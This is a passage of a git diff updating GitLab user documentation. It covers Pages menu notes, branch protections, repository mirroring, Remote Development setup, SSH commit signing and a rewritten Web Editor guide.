1. [Enable Let's Encrypt integration for your domain](#enabling-lets-encrypt-integration-for-your-custom-domain).
diff --git a/doc/user/project/pages/getting_started/pages_ci_cd_template.md b/doc/user/project/pages/getting_started/pages_ci_cd_template.md
index 339ab239588..e0448621c6a 100644
--- a/doc/user/project/pages/getting_started/pages_ci_cd_template.md
+++ b/doc/user/project/pages/getting_started/pages_ci_cd_template.md
@@ -28,7 +28,8 @@ If everything is configured correctly, the site can take approximately 30 minute
To view the pipeline, go to **CI/CD > Pipelines**.
When the pipeline is finished, go to **Settings > Pages** to find the link to
-your Pages website.
+your Pages website. (Note: this may also be
+located at **Deployments > Pages**, [more information](../index.md#menu-position-test))
For every change pushed to your repository, GitLab CI/CD runs a new pipeline
that immediately publishes your changes to the Pages site.
diff --git a/doc/user/project/pages/getting_started/pages_forked_sample_project.md b/doc/user/project/pages/getting_started/pages_forked_sample_project.md
index 9841e52a089..e1a245851cb 100644
--- a/doc/user/project/pages/getting_started/pages_forked_sample_project.md
+++ b/doc/user/project/pages/getting_started/pages_forked_sample_project.md
@@ -24,7 +24,9 @@ To fork a sample project and create a Pages website:
GitLab CI/CD builds and deploys your site.
The site can take approximately 30 minutes to deploy.
-When the pipeline is finished, go to **Settings > Pages** to find the link to your website from your project.
+When the pipeline is finished, go to **Settings > Pages** to find the link
+to your website from your project. (Note: this may also be
+located at **Deployments > Pages**, [more information](../index.md#menu-position-test))
For every change pushed to your repository, GitLab CI/CD runs a new pipeline
that immediately publishes your changes to the Pages site.
diff --git a/doc/user/project/pages/getting_started/pages_from_scratch.md b/doc/user/project/pages/getting_started/pages_from_scratch.md
index ebadf39a984..82e544b0701 100644
--- a/doc/user/project/pages/getting_started/pages_from_scratch.md
+++ b/doc/user/project/pages/getting_started/pages_from_scratch.md
@@ -27,7 +27,7 @@ To create a GitLab Pages website:
## Prerequisites
-You must have a [blank project](../../working_with_projects.md#create-a-blank-project) in GitLab.
+You must have a [blank project](../../index.md#create-a-blank-project) in GitLab.
## Create the project files
@@ -176,7 +176,8 @@ deploy your website:
1. Save and commit the `.gitlab-ci.yml` file.
1. Go to **CI/CD > Pipelines** to watch the pipeline.
1. When the pipeline succeeds, go to **Settings > Pages**
- to view the URL where your site is now available.
+ to view the URL where your site is now available. (Note: this may also be
+ located at **Deployments > Pages**, [more information](../index.md#menu-position-test))
When this `pages` job completes successfully, a special `pages:deploy` job
appears in the pipeline view. It prepares the content of the website for the
diff --git a/doc/user/project/pages/getting_started/pages_new_project_template.md b/doc/user/project/pages/getting_started/pages_new_project_template.md
index a0f9753a40c..a9988b1fb99 100644
--- a/doc/user/project/pages/getting_started/pages_new_project_template.md
+++ b/doc/user/project/pages/getting_started/pages_new_project_template.md
@@ -24,7 +24,8 @@ configured to generate a Pages site.
site.
When the pipeline is finished, go to **Settings > Pages** to find the link to
-your Pages website.
+your Pages website. (Note: this may also be
+located at **Deployments > Pages**, [more information](../index.md#menu-position-test))
For every change pushed to your repository, GitLab CI/CD runs a new pipeline
that immediately publishes your changes to the Pages site.
diff --git a/doc/user/project/pages/getting_started/pages_ui.md b/doc/user/project/pages/getting_started/pages_ui.md
index a6069b473e6..984c8e5c619 100644
--- a/doc/user/project/pages/getting_started/pages_ui.md
+++ b/doc/user/project/pages/getting_started/pages_ui.md
@@ -34,8 +34,10 @@ a pipeline deploys your Pages website.
To complete the setup and generate a GitLab Pages deployment:
1. On the top bar, select **Main menu > Projects** and find your project.
-1. On the left sidebar, select **Settings > Pages**. A **Get Started with Pages** form appears.
- If this form is not available, see [Troubleshooting](#if-the-get-started-with-pages-form-is-not-available).
+1. On the left sidebar, select **Settings > Pages** (Note: this may also be
+ located at **Deployments > Pages**, [more information](../index.md#menu-position-test)).
+ A **Get Started with Pages** form appears. If this form is not available,
+ see [Troubleshooting](#if-the-get-started-with-pages-form-is-not-available).
1. For **Step 1**, enter an image name and verify that your files are in a `public` folder.
1. Select **Next**.
1. For **Step 2**, enter your installation steps. If your framework's build process does not
diff --git a/doc/user/project/pages/index.md b/doc/user/project/pages/index.md
index 9305b92bf7d..89d8fd093b2 100644
--- a/doc/user/project/pages/index.md
+++ b/doc/user/project/pages/index.md
@@ -34,6 +34,13 @@ Pages does not support dynamic server-side processing, for instance, as `.php` a
Learn more about
[static websites compared to dynamic websites](https://about.gitlab.com/blog/2016/06/03/ssg-overview-gitlab-pages-part-1-dynamic-x-static/).
+## Menu Position Test
+
+NOTE:
+We are currently conducting an A/B test where some users may see the Pages
+Menu entry under "Deployments" instead of "Settings". We think that this may
+be a more accurate position. Feel free to add any feedback to [the experiment issue](https://gitlab.com/gitlab-org/gitlab/-/issues/373547).
+
## Getting started
To create a GitLab Pages website:
diff --git a/doc/user/project/protected_branches.md b/doc/user/project/protected_branches.md
index ab97ff08123..b0754e74314 100644
--- a/doc/user/project/protected_branches.md
+++ b/doc/user/project/protected_branches.md
@@ -38,6 +38,8 @@ Administrators can set a default branch protection level in the
Prerequisite:
- You must have at least the Maintainer role.
+- When granting a group **Allowed to merge** or **Allowed to push** permissions
+ on a protected branch, the group must be added to the project.
To protect a branch:
diff --git a/doc/user/project/quick_actions.md b/doc/user/project/quick_actions.md
index a73a5329688..d12a71c9ab3 100644
--- a/doc/user/project/quick_actions.md
+++ b/doc/user/project/quick_actions.md
@@ -86,7 +86,7 @@ threads. Some quick actions might not be available to all subscription tiers.
| `/move <path/to/project>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Move this issue to another project. Be careful when moving an issue to a project with different access rules. Before moving the issue, make sure it does not contain sensitive data. |
| `/parent_epic <epic>` | **{dotted-circle}** No | **{dotted-circle}** No | **{check-circle}** Yes | Set parent epic to `<epic>`. The `<epic>` value should be in the format of `&epic`, `group&epic`, or a URL to an epic ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10556) in GitLab 12.1). |
| `/promote` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Promote issue to epic. |
-| `/promote_to_incident` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Promote issue to incident ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/296787) in GitLab 14.5). |
+| `/promote_to_incident` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Promote issue to incident ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/296787) in GitLab 14.5). In [GitLab 15.8 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/376760), you can also use the quick action when creating a new issue. |
| `/page <policy name>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Start escalations for the incident ([introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/79977) in GitLab 14.9). |
| `/publish` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Publish issue to an associated [Status Page](../../operations/incident_management/status_page.md) ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30906) in GitLab 13.0) |
| `/ready` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | Set the [ready status](merge_requests/drafts.md#mark-merge-requests-as-ready) ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/90361) in GitLab 15.1). |
diff --git a/doc/user/project/releases/index.md b/doc/user/project/releases/index.md
index 6d5378bddb7..7c2d5088f17 100644
--- a/doc/user/project/releases/index.md
+++ b/doc/user/project/releases/index.md
@@ -132,7 +132,7 @@ release:
```
The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a
-[custom variable in the UI](../../../ci/variables/index.md#custom-cicd-variables),
+[custom variable in the UI](../../../ci/variables/index.md#for-a-project),
either as a `file`, which requires the path to the certificate, or as a variable,
which requires the text representation of the certificate.
diff --git a/doc/user/project/remote_development/index.md b/doc/user/project/remote_development/index.md
index 62220dd2fde..1abcca547db 100644
--- a/doc/user/project/remote_development/index.md
+++ b/doc/user/project/remote_development/index.md
@@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Remote Development **(FREE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/95169) in GitLab 15.6 [with a flag](../../../administration/feature_flags.md) named `vscode_web_ide`. Disabled by default.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/95169) in GitLab 15.4 [with a flag](../../../administration/feature_flags.md) named `vscode_web_ide`. Disabled by default.
FLAG:
On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `vscode_web_ide`. On GitLab.com, this feature is available. The feature is not ready for production use.
@@ -22,7 +22,7 @@ As with all projects, the items mentioned on this page are subject to change or
The development, release, and timing of any products, features, or functionality remain at the
sole discretion of GitLab Inc.
-You can use the [Web IDE](../web_ide/index.md) to commit changes to a project directly from your web browser without installing any dependencies or cloning any repositories. The Web IDE, however, lacks a native runtime environment on which you would compile code, run tests, or generate real-time feedback in the IDE. For a more complete IDE experience, you can pair the Web IDE with a Remote Development environment that has been properly configured to run as a host.
+You can use the [Web IDE](../web_ide/index.md) to commit changes to a project directly from your web browser without installing any dependencies or cloning any repositories. The Web IDE, however, lacks a native runtime environment on which you would compile code, run tests, or generate real-time feedback in the IDE. For a more complete IDE experience, you can pair the [Web IDE Beta](../web_ide_beta/index.md) with a Remote Development environment that has been properly configured to run as a host.
## Connect a remote machine to the Web IDE
@@ -81,7 +81,7 @@ To connect a development environment to the Web IDE:
1. [Create a development environment](#manage-a-development-environment).
1. [Fetch a token](#fetch-a-token).
-1. [Connect to the Web IDE](#connect-to-the-web-ide).
+1. [Configure a remote connection](#configure-a-remote-connection).
#### Manage a development environment
@@ -134,9 +134,18 @@ To remove a development environment:
docker exec my-environment cat TOKEN
```
-#### Connect to the Web IDE
+#### Configure a remote connection
-To connect to the Web IDE:
+To configure a remote connection from the Web IDE:
+
+1. Open the Web IDE.
+1. In the Menu Bar, select **View > Terminal** or press <kbd>Control</kbd>+<kbd>`</kbd>.
+1. In the terminal panel, select **Configure a remote connection**.
+1. Enter the URL for the remote host including the port (for example, `yourdomain.com:3443`).
+1. Enter the project path.
+1. Enter the [token you fetched](#fetch-a-token).
+
+Alternatively, you can pass the parameters from a URL and connect directly to the Web IDE:
1. Run the following command:
@@ -145,3 +154,7 @@ To connect to the Web IDE:
```
1. Go to that URL and enter the [token you fetched](#fetch-a-token).
+
+## Related topics
+
+- [Web IDE Beta](../web_ide_beta/index.md)
diff --git a/doc/user/project/repository/branches/index.md b/doc/user/project/repository/branches/index.md
index a86e32b4721..4e3510c49b7 100644
--- a/doc/user/project/repository/branches/index.md
+++ b/doc/user/project/repository/branches/index.md
@@ -27,7 +27,7 @@ For more information on managing branches using the GitLab UI, see:
- [Default branches](default.md): When you create a new [project](../../index.md), GitLab creates a
default branch for the repository. You can change this setting at the project,
subgroup, group, or instance level.
-- [Create a branch](../web_editor.md#create-a-new-branch)
+- [Create a branch](../web_editor.md#create-a-branch)
- [Protected branches](../../protected_branches.md#protected-branches)
- [Delete merged branches](#delete-merged-branches)
- [Branch filter search box](#branch-filter-search-box)
@@ -119,6 +119,30 @@ The Swap revisions feature allows you to swap the Source and Target revisions. W
![After swap revisions](img/swap_revisions_after_v13_12.png)
+## View branches with configured protections **(FREE SELF)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/88279) in GitLab 15.1 with a flag named `branch_rules`. Disabled by default.
+
+FLAG:
+On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../../../feature_flags.md) named `branch_rules`.
+On GitLab.com, this feature is not available.
+This feature is not ready for production use.
+
+Branches in your repository can be [protected](../../protected_branches.md) by limiting
+who can push to a branch, require approval for those pushed changes, or merge those changes.
+To help you track the protections for all branches, the **Branch rules overview**
+page shows your branches with their configured rules.
+
+To view the **Branch rules overview** list:
+
+1. On the top bar, select **Main menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > Repository**.
+1. Expand **Branch Rules** to view all branches with protections.
+1. Select **Details** next to your desired branch to show information about its:
+ - [Branch protections](../../protected_branches.md).
+ - [Approval rules](../../merge_requests/approvals/rules.md).
+ - [Status checks](../../merge_requests/status_checks.md).
+
## Troubleshooting
### Error: ambiguous `HEAD` branch exists
diff --git a/doc/user/project/repository/git_history.md b/doc/user/project/repository/git_history.md
index 08fe767f9c9..321b9a5eb53 100644
--- a/doc/user/project/repository/git_history.md
+++ b/doc/user/project/repository/git_history.md
@@ -21,6 +21,10 @@ When you select **History**, this information is displayed:
If you hover over a commit in the UI, the precise date and time of the commit modification
are shown.
+The name and email information provided are retrieved from the
+[Git configuration](https://git-scm.com/book/en/v2/Customizing-Git-Git-Configuration)
+of the contributor when a commit is made.
+
## Associated `git` command
If you're running `git` from the command line, the equivalent command
diff --git a/doc/user/project/repository/img/web_editor_line_link_v13_10.png b/doc/user/project/repository/img/web_editor_line_link_v13_10.png
deleted file mode 100644
index 36347afcbe8..00000000000
--- a/doc/user/project/repository/img/web_editor_line_link_v13_10.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/web_editor_new_branch_dropdown_v14_1.png b/doc/user/project/repository/img/web_editor_new_branch_dropdown_v14_1.png
deleted file mode 100644
index df5e803d77a..00000000000
--- a/doc/user/project/repository/img/web_editor_new_branch_dropdown_v14_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/web_editor_new_branch_from_issue_create_button_v14_1.png b/doc/user/project/repository/img/web_editor_new_branch_from_issue_create_button_v14_1.png
deleted file mode 100644
index fae0fc1425b..00000000000
--- a/doc/user/project/repository/img/web_editor_new_branch_from_issue_create_button_v14_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/web_editor_new_branch_from_issue_v14_1.png b/doc/user/project/repository/img/web_editor_new_branch_from_issue_v14_1.png
deleted file mode 100644
index 732173d9c1b..00000000000
--- a/doc/user/project/repository/img/web_editor_new_branch_from_issue_v14_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/web_editor_new_branch_page_v14_1.png b/doc/user/project/repository/img/web_editor_new_branch_page_v14_1.png
deleted file mode 100644
index cba15631fa8..00000000000
--- a/doc/user/project/repository/img/web_editor_new_branch_page_v14_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/web_editor_new_directory_dialog_v14_1.png b/doc/user/project/repository/img/web_editor_new_directory_dialog_v14_1.png
deleted file mode 100644
index 1f7a6263d9a..00000000000
--- a/doc/user/project/repository/img/web_editor_new_directory_dialog_v14_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/web_editor_new_directory_dropdown_v14_1.png b/doc/user/project/repository/img/web_editor_new_directory_dropdown_v14_1.png
deleted file mode 100644
index bbdb9bca199..00000000000
--- a/doc/user/project/repository/img/web_editor_new_directory_dropdown_v14_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/web_editor_new_file_dropdown_v14_1.png b/doc/user/project/repository/img/web_editor_new_file_dropdown_v14_1.png
deleted file mode 100644
index 1a92555457a..00000000000
--- a/doc/user/project/repository/img/web_editor_new_file_dropdown_v14_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/web_editor_new_file_editor_v14_1.png b/doc/user/project/repository/img/web_editor_new_file_editor_v14_1.png
deleted file mode 100644
index 3c568e304b2..00000000000
--- a/doc/user/project/repository/img/web_editor_new_file_editor_v14_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/web_editor_new_push_widget.png b/doc/user/project/repository/img/web_editor_new_push_widget.png
deleted file mode 100644
index 8957b5d6a6b..00000000000
--- a/doc/user/project/repository/img/web_editor_new_push_widget.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/web_editor_new_tag_dropdown.png b/doc/user/project/repository/img/web_editor_new_tag_dropdown.png
deleted file mode 100644
index 33e8ed891b5..00000000000
--- a/doc/user/project/repository/img/web_editor_new_tag_dropdown.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/web_editor_new_tag_page.png b/doc/user/project/repository/img/web_editor_new_tag_page.png
deleted file mode 100644
index d6d9945397c..00000000000
--- a/doc/user/project/repository/img/web_editor_new_tag_page.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/web_editor_start_new_merge_request.png b/doc/user/project/repository/img/web_editor_start_new_merge_request.png
deleted file mode 100644
index 85f4769661a..00000000000
--- a/doc/user/project/repository/img/web_editor_start_new_merge_request.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/web_editor_template_dropdown_buttons.png b/doc/user/project/repository/img/web_editor_template_dropdown_buttons.png
deleted file mode 100644
index 4608843b1f4..00000000000
--- a/doc/user/project/repository/img/web_editor_template_dropdown_buttons.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/web_editor_template_dropdown_first_file_v14_1.png b/doc/user/project/repository/img/web_editor_template_dropdown_first_file_v14_1.png
deleted file mode 100644
index ecc4d8e8716..00000000000
--- a/doc/user/project/repository/img/web_editor_template_dropdown_first_file_v14_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/web_editor_template_dropdown_mit_license_v14_1.png b/doc/user/project/repository/img/web_editor_template_dropdown_mit_license_v14_1.png
deleted file mode 100644
index 5a5562ed38c..00000000000
--- a/doc/user/project/repository/img/web_editor_template_dropdown_mit_license_v14_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/web_editor_upload_file_dialog_v14_1.png b/doc/user/project/repository/img/web_editor_upload_file_dialog_v14_1.png
deleted file mode 100644
index 632f591e25a..00000000000
--- a/doc/user/project/repository/img/web_editor_upload_file_dialog_v14_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/web_editor_upload_file_dropdown_v14_1.png b/doc/user/project/repository/img/web_editor_upload_file_dropdown_v14_1.png
deleted file mode 100644
index ad949aae8ce..00000000000
--- a/doc/user/project/repository/img/web_editor_upload_file_dropdown_v14_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/index.md b/doc/user/project/repository/index.md
index 83389c15eba..3c33467df3f 100644
--- a/doc/user/project/repository/index.md
+++ b/doc/user/project/repository/index.md
@@ -15,7 +15,7 @@ Each [project](../index.md) contains a repository.
To create a repository, you can:
-- [Create a project](../../../user/project/working_with_projects.md#create-a-project) or
+- [Create a project](../../../user/project/index.md#create-a-project) or
- [Fork an existing project](forking_workflow.md).
## Add files to a repository
@@ -264,9 +264,7 @@ to fetch configuration from a project that is renamed or moved.
- [Repository API](../../../api/repositories.md).
- [Find files](file_finder.md) in a repository.
- [Branches](branches/index.md).
-- [File templates](web_editor.md#template-dropdowns).
- [Create a directory](web_editor.md#create-a-directory).
-- [Start a merge request](web_editor.md#tips).
- [Find file history](git_history.md).
- [Identify changes by line (Git blame)](git_blame.md).
- [Use Jupyter notebooks with GitLab](jupyter_notebooks/index.md).
diff --git a/doc/user/project/repository/mirror/index.md b/doc/user/project/repository/mirror/index.md
index 2b578977bd2..bc0073e6ec8 100644
--- a/doc/user/project/repository/mirror/index.md
+++ b/doc/user/project/repository/mirror/index.md
@@ -105,6 +105,20 @@ non-protected branches in the mirroring project are not mirrored and can diverge
To use this option, select **Only mirror protected branches** when you create a repository mirror.
+## Mirror specific branches
+
+> Mirroring branches matching a regex [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/102608) in GitLab 15.8 [with a flag](../../../../administration/feature_flags.md) named `mirror_only_branches_match_regex`. Disabled by default.
+
+FLAG:
+On self-managed GitLab, by default the field `mirror_branch_regex` is not available.
+To make it available, ask an administrator to [enable the feature flag](../../../../administration/feature_flags.md)
+named `mirror_only_branches_match_regex`.
+On GitLab.com, this feature is not available.
+
+To mirror only branches with names matching an [re2 regular expression](https://github.com/google/re2/wiki/Syntax),
+enter a regular expression into the **Mirror specific branches** field. Branches with names that
+do not match the regular expression are not mirrored.
+
## Authentication methods for mirrors
When you create a mirror, you must configure the authentication method for it.
diff --git a/doc/user/project/repository/reducing_the_repo_size_using_git.md b/doc/user/project/repository/reducing_the_repo_size_using_git.md
index 9c977e4da40..a8a79591e9e 100644
--- a/doc/user/project/repository/reducing_the_repo_size_using_git.md
+++ b/doc/user/project/repository/reducing_the_repo_size_using_git.md
@@ -63,7 +63,7 @@ To purge files from a GitLab repository:
1. Clone a fresh copy of the repository from the bundle using `--bare` and `--mirror` options:
```shell
- git clone --bare --mirror /path/to/project.bundle
+ git clone --bare /path/to/project.bundle
```
1. Go to the `project.git` directory:
@@ -84,7 +84,7 @@ To purge files from a GitLab repository:
```shell
# Using git filter-repo
git filter-repo --analyze
- head .git/filter-repo/analysis/*-{all,deleted}-sizes.txt
+ head filter-repo/analysis/*-{all,deleted}-sizes.txt
# Using git-sizer
git-sizer
@@ -117,7 +117,7 @@ To purge files from a GitLab repository:
You can use the following command to back up each `commit-map` file:
```shell
- cp .git/filter-repo/commit-map ./_filter_repo_commit_map_$(date +%s)
+ cp filter-repo/commit-map ./_filter_repo_commit_map_$(date +%s)
```
Repeat this step and all following steps (including the [repository cleanup](#repository-cleanup) step)
diff --git a/doc/user/project/repository/ssh_signed_commits/index.md b/doc/user/project/repository/ssh_signed_commits/index.md
index 06affa54a51..85d2ce1d480 100644
--- a/doc/user/project/repository/ssh_signed_commits/index.md
+++ b/doc/user/project/repository/ssh_signed_commits/index.md
@@ -6,12 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Sign commits with SSH keys **(FREE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/343879) in GitLab 15.7 [with a flag](../../../../administration/feature_flags.md) named `ssh_commit_signatures`. Enabled by default.
-
-FLAG:
-On self-managed GitLab, by default this feature is available. To hide the feature,
-ask an administrator to [disable the feature flag](../../../../administration/feature_flags.md) named `ssh_commit_signatures`.
-On GitLab.com, this feature is available.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/343879) in GitLab 15.7 [with a flag](../../../../administration/feature_flags.md) named `ssh_commit_signatures`. Enabled by default.
+> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/384202) in GitLab 15.8. Feature flag `ssh_commit_signatures` removed.
Use SSH keys to sign Git commits in the same manner as
[GPG signed commits](../gpg_signed_commits/index.md). When you sign commits
diff --git a/doc/user/project/repository/web_editor.md b/doc/user/project/repository/web_editor.md
index cc89ca0fb1a..b5b2b8aaae9 100644
--- a/doc/user/project/repository/web_editor.md
+++ b/doc/user/project/repository/web_editor.md
@@ -4,253 +4,118 @@ group: Editor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# GitLab Web Editor **(FREE)**
+# Web Editor **(FREE)**
-Sometimes it's easier to make quick changes directly from the GitLab interface
-than to clone the project and use the Git command-line tool. In this feature
-highlight, we look at how you can create a new file, directory, branch, or
-tag from the file browser. All of these actions are available from a single
-dropdown list.
+You can use the Web Editor to make changes directly from the GitLab UI instead of
+cloning a project and using the command line.
-## Create a file
-
-From a project's files page, select the '+' button to the right of the branch selector.
-Choose **New file** from the dropdown list.
-![New file dropdown list](img/web_editor_new_file_dropdown_v14_1.png)
-
-Enter a filename in the **Filename** box. Then, add file content in the editor
-area. Add a descriptive commit message and choose a branch. The branch field
-defaults to the branch you were viewing in the file browser. If you enter
-a new branch name, a checkbox displays, allowing you to start a new merge
-request after you commit the changes.
+From the project dashboard or repository, you can:
-When you are satisfied with your new file, select **Commit Changes** at the bottom.
+- [Create a file](#create-a-file).
+- [Edit a file](#edit-a-file).
+- [Upload a file](#upload-a-file).
+- [Create a directory](#create-a-directory).
+- [Create a branch](#create-a-branch).
+- [Create a tag](#create-a-tag).
-![Create file editor](img/web_editor_new_file_editor_v14_1.png)
+Your [primary email address](../../../user/profile/index.md#change-the-email-displayed-on-your-commits)
+is used by default for any change you commit through the Web Editor.
-### Shortcuts
+## Create a file
-You can use shortcuts when editing a file through the Web Editor. It uses the same shortcuts
-as the Web IDE. For details, read the documentation for [Command Palette](../web_ide/index.md#command-palette).
+To create a text file in the Web Editor:
-### Template dropdowns
+1. On the top bar, select **Main menu > Projects** and find your project.
+1. From the project dashboard or repository, next to the branch name, select the plus icon (**{plus}**).
+1. From the dropdown list, select **New file**.
+1. Complete the fields.
+ - From the **Select a template type** dropdown list, you can apply a template to the new file.
+ - To create a merge request with the new file, ensure the **Start a new merge request with these changes** checkbox is selected.
+1. Select **Commit changes**.
-When starting a new project, there are some common files that the new project
-might need. GitLab displays a message to help you:
+## Edit a file
-![First file for your project](img/web_editor_template_dropdown_first_file_v14_1.png)
+To edit a file in the Web Editor:
-When selecting either `LICENSE` or `.gitignore` and so on, a dropdown displays
-to provide you a template that may be suitable for your project:
+1. On the top bar, select **Main menu > Projects** and find your project.
+1. Go to your file.
+1. Next to the display buttons, select **Edit**.
-![MIT license selected](img/web_editor_template_dropdown_mit_license_v14_1.png)
+### Keyboard shortcuts
-The license, changelog, contribution guide, or `.gitlab-ci.yml` file can also
-be added through a button on the project page. In this example, the license
-has already been created, which creates a link to the license itself.
+When you [edit a file](#edit-a-file) in the Web Editor, you can use the same keyboard shortcuts for the Web IDE.
+See the [available shortcuts](../../shortcuts.md#web-ide).
-![New file button](img/web_editor_template_dropdown_buttons.png)
+### Preview Markdown
-NOTE:
-The **Set up CI/CD** button does not appear on an empty repository. For the button
-to display, add a file to your repository.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/378966) in GitLab 15.6.
-## Preview Markdown
+To preview Markdown content in the Web Editor:
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/378966) in GitLab 15.6.
+1. [Edit a file](#edit-a-file).
+1. Do one of the following:
+ - Select the **Preview** tab.
+ - From the context menu, select **Preview Markdown**.
-To preview Markdown content in the Web Editor, select the **Preview** tab.
-In this tab, you can see a live Markdown preview that updates as you type alongside your content.
+In the **Preview** tab, you can see a live Markdown preview alongside your content.
To close the preview panel, do one of the following:
- Select the **Write** tab.
- From the context menu, select **Hide Live Preview**.
-## Highlight lines
+### Link to specific lines
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56159) in GitLab 13.10 for GitLab SaaS instances.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56159) in GitLab 13.11 for self-managed instances.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56159) in GitLab 13.11.
-Web Editor enables you to highlight a single line by adding specially formatted
-hash information to the file path segment of the URL. For example, the file path segment
-`MY_FILE.js#L3` instructs the Web Editor to highlight line 3.
+To link to single or multiple lines in the Web Editor, add hash
+information to the filename segment of the URL. For example:
-The Web Editor also enables you to highlight multiple lines using a similar pattern. In
-this case, the file path segment `MY_FILE.js#L3-10` instructs the Web Editor to
-highlight lines 3 to 10 of the file.
+- `MY_FILE.js#L3` highlights line 3 in `MY_FILE.js`.
+- `MY_FILE.js#L3-10` highlights lines 3 to 10 in `MY_FILE.js`.
-You don't need to construct these lines manually. Instead, you can:
+To link to a single line, you can also:
-1. Hover over the number of a line you want to be highlighted when sharing.
-1. Right-click the number with your mouse.
-1. Select **Copy Link Address** in the context menu.
-
- ![Link to a line](img/web_editor_line_link_v13_10.png)
+1. [Edit a file](#edit-a-file).
+1. Select a line number.
## Upload a file
-The ability to create a file is great when the content is text. However, this
-doesn't work well for binary data such as images, PDFs, or other binary file types. In
-this case, you need to upload a file.
-
-From a project's files page, select the '+' button to the right of the branch
-selector. Choose **Upload file** from the dropdown:
-
-![Upload file dropdown list](img/web_editor_upload_file_dropdown_v14_1.png)
+To upload a binary file in the Web Editor:
-After the upload dialog pops up, there are two ways to upload your file. Either
-drag and drop a file on the popup or use the **click to upload** link. After you
-select a file to upload, a file preview displays.
-
-Enter a commit message, choose a branch, and select **Upload file** when you are
-ready.
-
-![Upload file dialog](img/web_editor_upload_file_dialog_v14_1.png)
+1. On the top bar, select **Main menu > Projects** and find your project.
+1. From the project dashboard or repository, next to the branch name, select the plus icon (**{plus}**).
+1. From the dropdown list, select **Upload file**.
+1. Complete the fields. To create a merge request with the uploaded file, ensure the **Start a new merge request with these changes** toggle is turned on.
+1. Select **Upload file**.
## Create a directory
-To keep files in the repository organized it is often helpful to create a new
-directory.
-
-From a project's files page, select the plus button (`+`) to the right of the branch selector.
-Choose **New directory** from the dropdown.
-
-![New directory dropdown list](img/web_editor_new_directory_dropdown_v14_1.png)
-
-In the new directory dialog, enter a directory name, a commit message, and choose
-the target branch. Select **Create directory** to finish.
-
-![New directory dialog](img/web_editor_new_directory_dialog_v14_1.png)
-
-## Create a new branch
-
-There are multiple ways to create a branch from the GitLab web interface.
-
-NOTE:
-Use [branch naming patterns](branches/index.md#naming) to streamline merge request creation.
-
-### Create a new branch from an issue
-
-> The **Create merge request** button [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/349566) to open the merge request creation form in GitLab 14.8.
-
-If your development workflow requires an issue for every merge
-request, you can create a branch directly from the issue to speed the process up.
-The new branch, and later its merge request, are marked as related to this issue.
-After merging the merge request, the issue is closed automatically, unless [automatic issue closing is disabled](../issues/managing_issues.md#disable-automatic-issue-closing).
-You can see a **Create merge request** dropdown below the issue description.
-
-NOTE:
-In GitLab 14.8 and later, selecting **Create merge request**
-[redirects to the merge request creation form](https://gitlab.com/gitlab-org/gitlab/-/issues/349566)
-instead of immediately creating the merge request.
-
-The **Create merge request** button doesn't display if:
-
-- A branch with the same name already exists.
-- A merge request already exists for this branch.
-- Your project has an active fork relationship.
-- Your project is private and the issue is confidential.
-
-To make this button appear, one possible workaround is to
-[remove your project's fork relationship](../settings/index.md#remove-a-fork-relationship).
-After removal, the fork relationship cannot be restored. This project can no longer
